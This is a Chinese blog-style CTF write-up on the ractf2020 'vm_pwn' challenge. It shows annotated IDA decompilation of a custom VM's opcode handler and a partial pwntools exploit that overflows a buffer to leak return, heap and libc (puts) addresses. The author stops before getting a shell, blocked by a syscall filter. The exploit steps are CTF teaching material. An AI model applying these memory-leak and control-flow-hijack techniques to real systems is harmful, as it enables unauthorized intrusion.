ractf2020 vm_pwn测试题
最近队里队长给了我一个入队测试题,结果一看就是vm,吓得我赶紧去看了一个vm的例题,看完后,又来看这道题,把我折磨的有点怀疑人生了,目前还没写完,记录下写题的过程
程序分析
首先大致看一下我的分析
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned __int8 *v3; // rax _QWORD *v4; // rax _QWORD *v5; // rax _QWORD *v6; // rax _QWORD *v7; // rax __int64 result; // rax int v9; // [rsp+8h] [rbp-28h] int v10; // [rsp+Ch] [rbp-24h] int v11; // [rsp+Ch] [rbp-24h] int v12; // [rsp+Ch] [rbp-24h] int v13; // [rsp+Ch] [rbp-24h] int v14; // [rsp+Ch] [rbp-24h] int v15; // [rsp+Ch] [rbp-24h] int v16; // [rsp+Ch] [rbp-24h] int v17; // [rsp+Ch] [rbp-24h] int v18; // [rsp+Ch] [rbp-24h] int v19; // [rsp+Ch] [rbp-24h] int v20; // [rsp+Ch] [rbp-24h] int v21; // [rsp+Ch] [rbp-24h] int v22; // [rsp+Ch] [rbp-24h] int v23; // [rsp+Ch] [rbp-24h] int v24; // [rsp+Ch] [rbp-24h] int v25; // [rsp+Ch] [rbp-24h] int v26; // [rsp+Ch] [rbp-24h] int v27; // [rsp+Ch] [rbp-24h] int v28; // [rsp+Ch] [rbp-24h] int v29; // [rsp+Ch] [rbp-24h] int v30; // [rsp+Ch] [rbp-24h] int v31; // [rsp+Ch] [rbp-24h] int v32; // [rsp+Ch] [rbp-24h] int v33; // [rsp+Ch] [rbp-24h] _QWORD *v34; // [rsp+10h] [rbp-20h] char *v35; // [rsp+18h] [rbp-18h] char *v36; // [rsp+20h] [rbp-10h] sub_BA0(); v34 = calloc(0x30uLL, 1uLL); v35 = calloc(0x1000uLL, 1uLL); v36 = calloc(0x2000uLL, 1uLL); v34[3] = v36 + 7680; v34[5] = aA; if ( !v35 || !v36 ) puts_func("out of memory"); while ( 1 ) // v35 --> data段 // v34[5] --> text段 // v34[3] --> stack段 // v34[0]=reg1=rdi // v34[1]=reg2=rsi // v34[2]=reg3=rdx { v3 = v34[5]; v34[5] = v3 + 1; v9 = *v3; switch ( v9 ) { case 0x20: *v34 = v34[3]; // mov reg1,esp break; case 0x21: *v34 = *v34[5]; // reg1=data2 v34[5] += 8LL; break; case 0x22: v34[1] = *v34[5]; // reg2=data2 v34[5] += 8LL; break; case 0x23: v34[2] = *v34[5]; // reg3=data2 v34[5] += 8LL; break; case 0x30: v10 = *v34[5]; // mov reg1,mem if ( v10 < 0 || v10 > 4095 ) puts_func("buffer overflow detected"); *v34 = &v35[v10]; v34[5] += 8LL; break; case 0x31: v11 = *v34[5]; if ( v11 < 0 || v11 > 4095 ) // mov reg1,mem puts_func("buffer overflow detected"); *v34 = *&v35[v11]; v34[5] += 8LL; break; case 0x32: v12 = *v34[5]; if ( v12 < 0 || v12 > 4095 ) // mov reg2,mem puts_func("buffer overflow detected"); v34[1] = *&v35[v12]; v34[5] += 8LL; break; case 0x33: v13 = *v34[5]; if ( v13 < 0 || v13 > 4095 ) // mov reg3,mem puts_func("buffer overflow detected"); v34[2] = *&v35[v13]; v34[5] += 8LL; break; case 0x43: v14 = *v34[5]; if ( v14 < 0 || v14 > 4095 ) // mov mem,reg1 puts_func("buffer overflow detected"); *&v35[v14] = *v34; v34[5] += 8LL; break; case 0x44: v15 = *v34[5]; if ( v15 < 0 || v15 > 4095 ) // mov mem,reg2 puts_func("buffer overflow detected"); *&v35[v15] = v34[1]; v34[5] += 8LL; break; case 0x45: v16 = *v34[5]; if ( v16 < 0 || v16 > 4095 ) // mov mem,reg3 puts_func("buffer overflow detected"); *&v35[v16] = v34[2]; v34[5] += 8LL; break; case 0x54: if ( (v34[3] - v36) <= 8 ) // push reg1 puts_func("stack underflow detected"); v34[3] -= 8LL; *v34[3] = *v34; break; case 0x55: if ( (v34[3] - v36) <= 8 ) // push reg2 puts_func("stack underflow detected"); v34[3] -= 8LL; *v34[3] = v34[1]; break; case 0x56: if ( (v34[3] - v36) <= 8 ) puts_func("stack underflow detected"); v34[3] -= 8LL; *v34[3] = v34[2]; break; case 0x61: // add reg1 if ( (v34[3] - v36) > 7679 ) // pop reg1 puts_func("stack overflow detected"); v4 = v34[3]; v34[3] = v4 + 1; *v34 = *v4; break; case 0x62: if ( (v34[3] - v36) > 7679 ) // pop reg2 puts_func("stack overflow detected"); v5 = v34[3]; v34[3] = v5 + 1; v34[1] = *v5; break; case 0x63: if ( (v34[3] - v36) > 7679 ) // pop reg3 puts_func("stack overflow detected"); v6 = v34[3]; v34[3] = v6 + 1; v34[2] = *v6; break; case 0x71: v17 = *v34[5]; v34[5] += 8LL; *v34 += v17; break; case 0x72: v18 = *v34[5]; // add reg2 v34[5] += 8LL; v34[1] += v18; break; case 0x73: v19 = *v34[5]; // add reg3 v34[5] += 8LL; v34[2] += v19; break; case 0x74: v22 = *v34[5]; // sub reg1 v34[5] += 8LL; *v34 -= v22; break; case 0x75: v23 = *v34[5]; // sub reg2 v34[5] += 8LL; v34[1] -= v23; break; case 0x76: v24 = *v34[5]; // sub reg3 v34[5] += 8LL; v34[2] -= v24; break; case 0x77: v25 = *v34[5]; // imul reg1 v34[5] += 8LL; *v34 *= v25; break; case 0x78: v26 = *v34[5]; // imul reg2 v34[5] += 8LL; v34[1] *= v26; break; case 0x79: v27 = *v34[5]; v34[5] += 8LL; v34[2] *= v27; break; case 0x7A: v28 = *v34[5]; // xor reg1 v34[5] += 8LL; *v34 ^= v28; break; case 0x7B: v29 = *v34[5]; // xor reg2 v34[5] += 8LL; v34[1] ^= v29; break; case 0x7C: v30 = *v34[5]; // xor reg3 v34[5] += 8LL; v34[2] ^= v30; break; case 0x7D: *v34 = 0LL; break; case 0x7E: v34[1] = 0LL; break; case 0x7F: // 让v33[5]=reg1 v34[2] = 0LL; break; case 0x8E: v32 = *v34[5]; // 如果这是栈,那就有可能是恢复栈 v34[5] += 2LL; v34[5] += v32; break; case 0x8F: v34[5] = *v34; break; case 0x90: v34[3] += 8LL; // data+=8 // data=v33[5] // v33[5]=reg1 *v34[3] = v34[5]; v34[5] = *v34; break; case 0x91: v20 = *v34[5]; v34[5] += 8LL; v34[3] += 8LL * (v20 / 8); break; case 0x92: v21 = *v34[5]; v34[5] += 8LL; v34[3] += -8LL * (v21 / 8); break; case 0x98: v33 = *v34[5]; v34[5] += 2LL; v34[3] += 8LL; *v34[3] = v34[5]; v34[5] += v33; break; case 0x9F: v31 = *v34[5]++; (*(&off_2038E0 + v31))(*v34, v34[1], v34[2]); break; case 0xA0: v7 = v34[3]; v34[3] = v7 - 1; v34[5] = *v7; break; case 0x10F: return 0LL; default: printf(":%d\n", v9); puts_func("Illegal Instrumention"); return result; } } } /* Orphan comments: push reg3 imul reg3 init reg1\2\3=0 提升栈 恢复栈 */
opcode大概的写了出来,但应该只对了一部分,先来说一下程序的流程,与如何看出来的,我在ida里看到的rip,在C语言里是这样的
其实我觉得很奇怪,后面看了下汇编形式
汇编里显示了一个全局变量出来,发现是一堆地址,ok,接着往下看,发现无法查看了,就拿gdb动态调试的查看一下,还有个全局变量
在gdb中,rip的运算大概是这样的
咱们来慢慢分析
首先0x4c87到0x4c8b很容易发现是把全局变量所指+1偏移处地址取出来了,然后放在了rcx里面
在将这地址放在了+0的偏移中,也就是让指针所指的地址+1
在将原来的+0的偏移中的值,放入eax中,在经过-0x10与0xef作比较,来进行跳转
接着,这一大段的地址操作,我一开始是看的比较懵逼的,但后面经过反复调试后,发现,这里将eax的值*4,然后从rip+0xbba取值,这里的值不就是一直固定的吗?那这里不就代表着前面的函数地址表吗?
由于我看内存中的这些值时,发现很多数字,所以很快的直接跳过了这里的每一句分析,因为为了测试我特意看了下前面的eax的值是0x1的时候,我特意去看了下函数地址表里的函数偏移为1的函数
这根我在gdb里调试的函数是一样的,所以猜想正确!
现在来分析一下rip从那个全局变量里如何来的,查看aA全局变量,并根据程序流程,会发现这是data段还是text段呢?我一开始爷挺迷糊的,然后根据一点一点的调试得到了这是text段
这里我找的是与上面分析对应的一段代码
可以看到我在分析的这里的时候,字符串'do you w'这里就是8个字节了
然后发现有个0x11的值在这被取出来了通过前面的分析可以知道这个值会被减去0x10,然后当做rip去调用函数,来执行,并且通过ida的简单分析,很快就可以知道,这个v34[5]每次函数几乎都会+8,不正好对应着一个8字节的字符串吗?
接下来就是来找整个函数的流程了,其实我自己动态调试跟了一下午,分析了一套出来(但是是错的,太菜了),只是我感觉这个函数流程会根据自己的输入来改变,不过应该不会,变换我先贴出来,有错的话指正一下
分析完基本的流程后,我感觉这道题是rop,栈溢出,劫持esp,不过还是得看流程的检查才行
所以需要去找gadget才行,不过在几经调试之后,终于发现了一些端倪,程序的返回地址在你的输入地址偏移0x100处,并且由于偏移,就可以泄露libc的地址了,而0xf0处则是堆的地址
所以我们可以先泄露跳转的地址,然后根据偏移来计算offset的偏移值,在通过构造gadget来泄露里面的函数,从而达到泄露libc的地址。
先贴部分代码,泄露libc
#leak jmp addr payload=b'p'*0xff p.recvuntil('name:') p.sendline(payload) p.recvuntil('p'*0xff) ret_addr=u64(p.recv(7).ljust(8,b'\x00')) ret_addr=ret_addr>>8 print('ret_addr:'+hex(ret_addr)) #reboot process main_addr=ret_addr-0x831 payload=b'p'*0x100+p64(main_addr) print('main:'+hex(main_addr)) p.recvuntil('say:') p.sendline(payload) #leak heap_addr payload=b'p'*0xef p.recvuntil('name:') p.sendline(payload) p.recvuntil('p'*0xef) heap2_addr=u64(p.recv(7).ljust(8,b'\x00')) heap2_addr=heap2_addr>>8 print('heap2_addr:'+hex(heap2_addr)) my_input_addr=heap2_addr+0x1010+0x1d08 print('n debug') puts_offset=ret_addr-0x851+0x8f0 #leak puts addr and reboot payload=b'\x11'+p64(1) payload=payload+b'\x12'+p64(puts_offset) payload=payload+b'\x13'+p64(8) payload=payload+b'\x8f\x01' payload=payload+b'\x11'+p64(main_addr) payload=payload+b'\x44' payload=payload+b'\x90' p.recvuntil('say:') payload=payload.ljust(0x100,b'\x00') payload=payload+p64(my_input_addr) print(payload) p.sendline(payload) puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print('puts_addr:'+hex(puts_addr))
不过到后面当我想劫持puts函数,然后在getshell的时候,意外发生了,直接帮你把系统调用给干翻一半,我吐了,然后去看了一下这个函数的简单解释,这里我贴一下原话
好吧,得想办法绕过了
本来打算用open函数绕过的,结果发现返回值我没法控制,我真不知道怎么绕过了,所以只能以后再来写这道题了。。。如果有师傅能给提示就好了
先说到这,接着去写这道题了-_-||